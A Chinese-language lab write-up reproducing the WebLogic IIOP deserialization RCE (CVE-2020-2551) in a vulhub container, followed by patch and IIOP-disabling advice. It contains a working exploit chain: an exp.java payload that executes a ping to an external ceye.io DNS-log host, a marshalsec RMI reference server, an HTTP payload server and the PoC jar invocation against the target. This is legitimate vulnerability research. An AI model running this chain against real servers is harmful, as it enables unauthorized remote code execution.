1.漏洞分析

通过 Oracle 官方发布的公告是可以看出该漏洞的主要是在核心组件中的,影响协议为 IIOP 。该漏洞原理上类似于RMI反序列化漏洞(CVE-2017-3241),和之前的T3协议所引发的一系列反序列化漏洞也很相似,都是由于调用远程对象的实现存在缺陷,导致序列化对象可以任意构造,并没有进行安全检查所导致的。
攻击者可以通过 IIOP 协议远程访问 Weblogic Server 服务器上的远程接口,传入恶意数据,从而获取服务器权限并在未授权情况下远程执行任意代码。IIOP 协议以 Java 接口的形式对远程对象进行访问,默认启用。

2.漏洞复现

环境使用的是用https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2628

因为环境使用的docker,weblogic是内网ip启动,需要解决这个问题。
参考https://xz.aliyun.com/t/7498文章中的解决方法,重新编译wlfullclient.jar包
具体思路请看原文,记录一下我的复现步骤。

2.1 重打包wlfullclient.jar包

poc:https://github.com/Y4er/CVE-2020-2551

IOPProfile在项目里的库wlfullclient.jar中定义,wlfullclient.jar是从Weblogic 10.3.6环境中导出来的。
IOPProfile路径:
CVE-2020-2551\src\lib\wlfullclient.jar!\weblogic\iiop\IOPProfile.class

反编译IOPProfile.class,把源码复制出来
image.png
修改327行,host改为与目标机与攻击机网络通的ip,改对应端口。

新建包名weblogic.iiop->weblogic.iiop包下新建IOPProfile.java->源码复制过去->编译成class文件
替换掉wlfullclient.jar的IOPProfile.class
image.png
然后编译poc jar包
重打包参考https://blog.csdn.net/tomcat_zhu/article/details/79240011

2.2 漏洞复现

1)java 1.6 编译exp.java
exp.java

  1. import java.io.IOException;
  2. public class exp {
  3. public exp() {
  4. String cmd = "ping -nc 3 2551.9qe5rc.ceye.io";
  5. try {
  6. Runtime.getRuntime().exec(cmd).getInputStream();
  7. } catch (IOException e) {
  8. e.printStackTrace();
  9. }
  10. }
  11. }

2)使用python在exp目录起一个web服务
python3 -m http.server 8008
image.png
3)使用marshalsec启动rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://192.168.64.1:8008/#exp“ 1099
image.png
4)使用编译的poc发起攻击
java -jar CVE-2020-2551.jar 192.168.64.153 7002 rmi://192.168.64.1:1099/exp
image.png
攻击成功
image.png
image.png
image.png

2.3 思考

是不是每次攻击都得重打包jar包? 太菜了 不知道用这种笨办法操作了

3.修复建议

3.1 请及时更新补丁
Oracle官方已发布漏洞补丁,建议用户下载使用:
https://www.oracle.com/security-alerts/cpujan2020.html
3.2 其他防护措施
可通过关闭 IIOP 协议对此漏洞进行防护。操作如下:
在 Weblogic 控制台中,选择“服务”->”AdminServer”->”协议”,取消“启用 IIOP”的勾选。并重启 Weblogic 项目,使配置生效。

4.参考文章

手把手教你解决Weblogic CVE-2020-2551 POC网络问题 https://xz.aliyun.com/t/7498
漫谈 WebLogic CVE-2020-2551 https://xz.aliyun.com/t/7374
Weblogic CVE-2020-2551 IIOP协议反序列化RCE https://y4er.com/post/weblogic-cve-2020-2551/